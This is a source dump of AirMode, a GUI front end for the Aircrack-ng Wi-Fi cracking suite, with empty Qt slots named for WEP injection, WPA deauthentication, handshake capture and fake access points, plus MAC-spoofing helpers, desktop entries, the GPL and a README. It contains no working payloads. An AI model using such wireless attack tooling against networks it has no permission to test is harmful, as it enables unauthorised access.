1181 | self.line_crack_wpa_rainbow_tables_file.setText(home_dir)
1182 |
1183 | # WPA deauth
1184 | self.slot_line_wpa_deauth_hand()
1185 |
1186 | # Tables
1187 | self.table_interfaces.clearSelection()
1188 | self.table_networks.clearSelection()
1189 |
1190 |
1191 | #
1192 | # This function initialize the config directory
1193 | #
1194 | def init_config_dir():
1195 | global def_term
1196 |
1197 | # check config dir
1198 | if not os.path.exists(config_dir):
1199 | os.mkdir(config_dir)
1200 | #subprocess.getstatusoutput('zenity --info --window-icon=/usr/local/buc/icons/attenzione.png --title="AirMode" --text="Hello and Thanks for using AirMode this is the first run, and ~/.airmode is now created."')
1201 |
1202 | print ('\nConfig directory OK\n')
1203 |
1204 | #
1205 | # This function perform various checks
1206 | # on program load
1207 | #
1208 | def check_all():
1209 |
1210 | # check for root uid
1211 | if not os.geteuid()==0:
1212 | main_window.direct_output('Error: You should run this program as root! ;-D')
1213 |
1214 |
1215 |
1216 | #
1217 | # MAIN FUNCTION
1218 | # The program starts here
1219 | #
1220 | if __name__ == "__main__":
1221 | import sys
1222 | app = QtGui.QApplication(sys.argv)
1223 | ui = Main_window_ex()
1224 |
1225 | # initialize config directory
1226 | init_config_dir()
1227 |
1228 | # change working directory
1229 | os.chdir(config_dir)
1230 |
1231 | # performs various checks
1232 | check_all()
1233 |
1234 | # config init function
1235 | config_init()
1236 | # config end function
1237 | config_end()
1238 |
1239 | # fill the GUI
1240 |
1241 | ui.fill_input_fields()
1242 |
1243 | # ui.fill_input_fields()
1244 | ui.show()
1245 | sys.exit(app.exec_())
1246 |
1247 |
1248 |
1249 |
1250 |
1251 |
1252 |
1253 |
1254 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/airmode.ui.h:
--------------------------------------------------------------------------------
1 | /****************************************************************************
2 | ** ui.h extension file, included from the uic-generated form implementation.
3 | **
4 | ** If you want to add, delete, or rename functions or slots, use
5 | ** Qt Designer to update this file, preserving your code.
6 | **
7 | ** You should not define a constructor or destructor in this file.
8 | ** Instead, write your code in functions called init() and destroy().
9 | ** These will automatically be called by the form's constructor and
10 | ** destructor.
11 | *****************************************************************************/
12 |
13 |
14 |
15 | void main_window::slot_wep_capture_req()
16 | {
17 |
18 | }
19 |
20 |
21 | void main_window::slot_crack_wpa_aircrack()
22 | {
23 |
24 | }
25 |
26 |
27 | void main_window::slot_crack_wpa_pyrit()
28 | {
29 |
30 | }
31 |
32 |
33 |
34 |
35 |
36 |
37 | void main_window::slot_mac_restore()
38 | {
39 |
40 | }
41 |
42 |
43 | void main_window::slot_monitor_on()
44 | {
45 |
46 | }
47 |
48 |
49 | void main_window::slot_net_map_on()
50 | {
51 |
52 | }
53 |
54 |
55 | void main_window::slot_wep_arp_inj_cfrag()
56 | {
57 |
58 | }
59 |
60 |
61 | void main_window::slot_wep_arp_inj_chop()
62 | {
63 |
64 | }
65 |
66 |
67 | void main_window::slot_wep_arp_inj_frag()
68 | {
69 |
70 | }
71 |
72 |
73 | void main_window::slot_wep_assoc_fake_auth_cfrag()
74 | {
75 |
76 | }
77 |
78 |
79 | void main_window::slot_wep_assoc_fake_auth_frag()
80 | {
81 |
82 | }
83 |
84 |
85 | void main_window::slot_wep_assoc_fake_auth_rep()
86 | {
87 |
88 | }
89 |
90 |
91 | void main_window::slot_wep_assoc_fake_auth_req()
92 | {
93 |
94 | }
95 |
96 |
97 | void main_window::slot_wep_create_arp_cfrag()
98 | {
99 |
100 | }
101 |
102 |
103 | void main_window::slot_wep_create_arp_chop()
104 | {
105 |
106 | }
107 |
108 |
109 | void main_window::slot_wep_create_arp_frag()
110 | {
111 |
112 | }
113 |
114 |
115 | void main_window::slot_wep_fake_auth_chop()
116 | {
117 |
118 | }
119 |
120 |
121 | void main_window::slot_wep_start_chop()
122 | {
123 |
124 | }
125 |
126 |
127 | void main_window::slot_wep_start_frag()
128 | {
129 |
130 | }
131 |
132 |
133 | void main_window::slot_wep_start_rep()
134 | {
135 |
136 | }
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 | void main_window::slot_wep_test_inj()
145 | {
146 |
147 | }
148 |
149 |
150 | void main_window::slot_wpa_deauth_hand()
151 | {
152 |
153 | }
154 |
155 |
156 | void main_window::slot_wpa_start_sniff_hand()
157 | {
158 |
159 | }
160 |
161 |
162 | void main_window::slot_wpa_test_inj()
163 | {
164 |
165 | }
166 |
167 |
168 | void main_window::slot_crack_wep_aircrack()
169 | {
170 |
171 | }
172 |
173 |
174 | void Main_window::slot_crack_wpa_rainbow_tables()
175 | {
176 |
177 | }
178 |
179 |
180 | void Main_window::slot_wep_start_hirte_adhoc()
181 | {
182 |
183 | }
184 |
185 |
186 | void Main_window::slot_wep_start_hirte_ap()
187 | {
188 |
189 | }
190 |
191 |
192 | void Main_window::slot_wep_start_latte()
193 | {
194 |
195 | }
196 |
197 |
198 |
199 |
200 |
201 | void Main_window::slot_mac_change()
202 | {
203 |
204 | }
205 |
206 |
207 | void Main_window::slot_gath_int()
208 | {
209 |
210 | }
211 |
212 |
213 |
214 |
215 |
216 | void Main_window::slot_save_ap_name()
217 | {
218 |
219 | }
220 |
221 |
222 | void Main_window::slot_save_mon()
223 | {
224 |
225 | }
226 |
227 |
228 | void Main_window::slot_save_mon_mac()
229 | {
230 |
231 | }
232 |
233 |
234 | void Main_window::slot_line_crack_wep_log()
235 | {
236 |
237 | }
238 |
239 |
240 | void Main_window::slot_line_crack_wpa_dictionary()
241 | {
242 |
243 | }
244 |
245 |
246 | void Main_window::slot_line_crack_wpa_dictionary_pyrit()
247 | {
248 |
249 | }
250 |
251 |
252 | void Main_window::slot_line_crack_wpa_log_pyrit()
253 | {
254 |
255 | }
256 |
257 |
258 | void Main_window::slot_line_crack_wpa_rainbow_tables_file()
259 | {
260 |
261 | }
262 |
263 |
264 | void Main_window::slot_line_gath_logs()
265 | {
266 |
267 | }
268 |
269 |
270 | void Main_window::slot_line_mac_change_int()
271 | {
272 |
273 | }
274 |
275 |
276 | void Main_window::slot_line_mac_change_mac()
277 | {
278 |
279 | }
280 |
281 |
282 | void Main_window::slot_line_wep_mac_cfrag()
283 | {
284 |
285 | }
286 |
287 |
288 | void Main_window::slot_line_wpa_mac_hand()
289 | {
290 |
291 | }
292 |
293 |
294 | void Main_window::slot_spin_wep_wired_req()
295 | {
296 |
297 | }
298 |
299 |
300 | void Main_window::slot_spin_wep_wireless_req()
301 | {
302 |
303 | }
304 |
305 |
306 | void Main_window::slot_line_wpa_deauth_hand()
307 | {
308 |
309 | }
310 |
311 |
312 | void Main_window::slot_start_sniffing()
313 | {
314 |
315 | }
316 |
317 |
318 | void Main_window::slot_autoload_ap_info()
319 | {
320 |
321 | }
322 |
323 |
324 | void Main_window::slot_gath_clean()
325 | {
326 |
327 | }
328 |
329 |
330 | void Main_window::slot_enable_ip_forward()
331 | {
332 |
333 | }
334 |
335 |
336 | void Main_window::slot_fake_ap_start()
337 | {
338 |
339 | }
340 |
341 |
342 | void Main_window::slot_save_ap_mac()
343 | {
344 |
345 | }
346 |
347 |
348 | void Main_window::slot_save_ap_chan()
349 | {
350 |
351 | }
352 |
353 |
354 | void Main_window::slot_reload_interfaces()
355 | {
356 |
357 | }
358 |
359 |
360 | void Main_window::slot_autoload_victim_clients()
361 | {
362 |
363 | }
364 |
365 |
366 |
367 |
368 | void Main_window::slot_rescan_networks()
369 | {
370 |
371 | }
372 |
373 |
374 | void Main_window::slot_interface_selected()
375 | {
376 |
377 | }
378 |
379 |
380 | void Main_window::slot_network_selected()
381 | {
382 |
383 | }
384 |
385 |
386 | void Main_window::slot_disable_ip_forward()
387 | {
388 |
389 | }
390 |
391 |
392 | void Main_window::slot_random_mac()
393 | {
394 |
395 | }
396 |
397 |
398 | void Main_window::slot_line_database()
399 | {
400 |
401 | }
402 |
403 |
404 | void Main_window::slot_database_delete()
405 | {
406 |
407 | }
408 |
409 |
410 | void Main_window::slot_database_reload()
411 | {
412 |
413 | }
414 |
415 |
416 | void Main_window::slot_database_save()
417 | {
418 |
419 | }
420 |
421 |
422 | void Main_window::slot_database_add()
423 | {
424 |
425 | }
426 |
427 |
428 | void Main_window::slot_database_changed()
429 | {
430 |
431 | }
432 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/airmode_config.py:
--------------------------------------------------------------------------------
1 | #!usr/bin/python
2 |
3 | # == Configuration file for AirMode ==
4 | #
5 | # This script is used for configure your installation of AirMode
6 | # Follow the comments for a correct configuration, and please don't modify
7 | # undocumented lines.
8 | #
9 | # Using correctly this file, it's possible to automate repetitive tasks, and
10 | # make the program much more powerful.
11 | #
12 | # After all, "everyone can use a tool, but professional is recognized by his
13 | # configuration file".
14 | #
15 |
16 |
17 |
18 |
19 | # Don't modify these lines
20 | #
21 | import sys
22 | import os
23 | import time
24 | import re
25 | import commands
26 | #import subprocess
27 |
28 |
29 |
30 | #
31 | # Program directories
32 | #
33 |
34 | #
35 | # Home directory:
36 | # home_dir = os.getenv('HOME')
37 | #
38 | home_dir = os.getenv('HOME')
39 |
40 | #
41 | # Config directory:
42 | # config_dir = home_dir + '/.airmode/'
43 | #
44 | config_dir = str(home_dir )+ '/.airmode/'
45 |
46 |
47 |
48 | #
49 | # Default color terminal:
50 | # def_term = 'xterm'
51 | #
52 | def_term = 'mate-terminal'
53 |
54 |
55 |
56 | #
57 | # Key database
58 | #
59 | # Database path:
60 | # database_path = config_dir + 'key-database.db';
61 | database_path = config_dir + 'key-database.db';
62 |
63 |
64 |
65 | #
66 | # Other variables used by the program
67 | #
68 | selected_interface = ''
69 |
70 |
71 |
72 | #
73 | # Init and end function, called by the program.
74 | #
75 | # Very useful for automating tasks or commands (such as 'macchanger',
76 | # 'ifconfig up', 'airmon-ng')
77 | #
78 |
79 | #
80 | # Init function (called when the program starts)
81 | #
82 | def config_init():
83 |
84 | #
85 | # Example: Automatically prepare an interface
86 | #
87 | # 1) check if interface is present
88 | # 2) change the mac address to a random one
89 | # 3) enable monitor mode
90 | # 4) select the interface
91 | #
92 | # intf = 'wlan0'
93 | # if wifi_interface_is_present(intf):
94 | # set_random_mac(intf)
95 | # set_wifi_mode(intf, 'monitor')
96 | # select_interface = intf
97 |
98 |
99 | return 0
100 |
101 | #
102 | # End function (called when the program ends)
103 | #
104 | def config_end():
105 |
106 | #
107 | # Example: disable an interface
108 | #
109 | # intf = 'wlan0'
110 | # if wifi_interface_is_present(intf):
111 | # exec_command("ifconfig " + intf + " down")
112 | #
113 |
114 | return 0
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 | #
123 | # == CONFIGURATION ENDS HERE ==
124 | #
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 | #
133 | # UTILITIES
134 | # (Than you don't need to modify) ;)
135 | #
136 |
137 | #
138 | # Execute a command
139 | #
140 | def exec_command(cmd):
141 | return subprocess.getstatusoutput(cmd)[0]
142 |
143 | #
144 | # Check if a wireless interface is present
145 | #
146 | def wifi_interface_is_present(interface):
147 |
148 | if exec_command('iwconfig 2>&1 | grep 802.11 | grep' + interface):
149 | return True
150 |
151 | return False
152 |
153 | #
154 | # Set random MAC address
155 | #
156 | def set_random_mac(interface):
157 |
158 | if exec_command('ifconfig ' + interface + ' down') != 0:
159 | return
160 | if exec_command('macchanger --random ' + interface) != 0:
161 | return
162 | if exec_command('ifconfig ' + interface + ' up') !=0:
163 | return
164 |
165 | #
166 | # Set wireless interface mode
167 | #
168 | def set_wifi_mode(interface, mode):
169 | if exec_command('ifconfig ' + interface + ' down') != 0:
170 | return
171 | if exec_command('iwconfig ' + interface + ' mode ' + mode) != 0:
172 | return
173 | if exec_command('ifconfig ' + interface + ' up') != 0:
174 | return
175 |
176 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/parrot-airmode.desktop:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env xdg-open
2 | [Desktop Entry]
3 | Name=AirMode
4 | Encoding=UTF-8
5 | Exec=gksu airmode
6 | Icon=parrot-menu.png
7 | StartupNotify=false
8 | Terminal=false
9 | Type=Application
10 | Categories=05-01-wireless-tools;top10;
11 | X-Parrot-Package=airmode
12 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/applications/parrot-airmode.desktop:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env xdg-open
2 | [Desktop Entry]
3 | Name=AirMode
4 | Encoding=UTF-8
5 | Exec=menuexecg airmode
6 | Icon=airmode-logo.png
7 | StartupNotify=false
8 | Terminal=false
9 | Type=Application
10 | Categories=06-01-wireless-tools;06-wireless-attacks;top10;
11 | X-Parrot-Package=airmode
12 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/doc/airmode/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 | {description}
294 | Copyright (C) {year} {fullname}
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | {signature of Ty Coon}, 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/doc/airmode/README.md:
--------------------------------------------------------------------------------
1 | airmode
2 | =======
3 |
4 | Welcome to AirMode
5 | Do you remember Gerix Wifi Cracker? We decided to fork and resume it in order
6 | to continue providing this fantastic software to everyone.
7 | AirMode is a GUI that can help you to use the Aircrack framework.
8 |
9 | Frozenbox Network (www.frozenbox.org)
10 | Parrot Security OS (www.parrotsec.org)
11 | The tool is under GPL 2 License.
12 | enJoy!
13 |
14 |
15 | AirMode Developers
16 | ==================
17 |
18 |
19 | Lisetta "Sheireen" Ferrero
20 | sheireen@frozenbox.org
21 | www.frozenbox.org
22 |
23 | Lorenzo "EclipseSpark" Faletra
24 | eclipse@frozenbox.org
25 | www.frozenbox.org
26 |
27 |
28 |
29 |
30 | Original Gerix Developers
31 | =========================
32 |
33 |
34 | Emanuele Gentili
35 | emgent@backtrack-linux.org
36 | Gerix.IT CSO and Partner
37 | http://www.gerix.it
38 |
39 | Emanuele Acri
40 | crossbower@backtrack-linux.org
41 | Gerix.IT Penetration Tester
42 | http://www.backtrack.it/~crossbower/
43 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/icons/airmode-logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParrotSec/airmode/9230f46ddcc268125d9340031cc706d70efc598e/airmode_0.4-parrot0_all/usr/share/icons/airmode-logo.png
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/parrot-menu/applications/parrot-airmode.desktop:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env xdg-open
2 | [Desktop Entry]
3 | Name=AirMode
4 | Encoding=UTF-8
5 | Exec=menuexecg airmode
6 | Icon=airmode-logo.png
7 | StartupNotify=false
8 | Terminal=false
9 | Type=Application
10 | Categories=06-01-wireless-tools;06-wireless-attacks;top10;
11 | X-Parrot-Package=airmode
12 |
--------------------------------------------------------------------------------
/airmode_config.py:
--------------------------------------------------------------------------------
1 | #!usr/bin/python
2 |
3 | # == Configuration file for AirMode ==
4 | #
5 | # This script is used for configure your installation of AirMode
6 | # Follow the comments for a correct configuration, and please don't modify
7 | # undocumented lines.
8 | #
9 | # Using correctly this file, it's possible to automate repetitive tasks, and
10 | # make the program much more powerful.
11 | #
12 | # After all, "everyone can use a tool, but professional is recognized by his
13 | # configuration file".
14 | #
15 |
16 |
17 |
18 |
19 | # Don't modify these lines
20 | #
21 | import sys
22 | import os
23 | import time
24 | import re
25 | import commands
26 | #import subprocess
27 |
28 |
29 |
30 | #
31 | # Program directories
32 | #
33 |
34 | #
35 | # Home directory:
36 | # home_dir = os.getenv('HOME')
37 | #
38 | home_dir = os.getenv('HOME')
39 |
40 | #
41 | # Config directory:
42 | # config_dir = home_dir + '/.airmode/'
43 | #
44 | config_dir = str(home_dir )+ '/.airmode/'
45 |
46 |
47 |
48 | #
49 | # Default color terminal:
50 | # def_term = 'xterm'
51 | #
52 | def_term = 'mate-terminal'
53 |
54 |
55 |
56 | #
57 | # Key database
58 | #
59 | # Database path:
60 | # database_path = config_dir + 'key-database.db';
61 | database_path = config_dir + 'key-database.db';
62 |
63 |
64 |
65 | #
66 | # Other variables used by the program
67 | #
68 | selected_interface = ''
69 |
70 |
71 |
72 | #
73 | # Init and end function, called by the program.
74 | #
75 | # Very useful for automating tasks or commands (such as 'macchanger',
76 | # 'ifconfig up', 'airmon-ng')
77 | #
78 |
79 | #
80 | # Init function (called when the program starts)
81 | #
82 | def config_init():
83 |
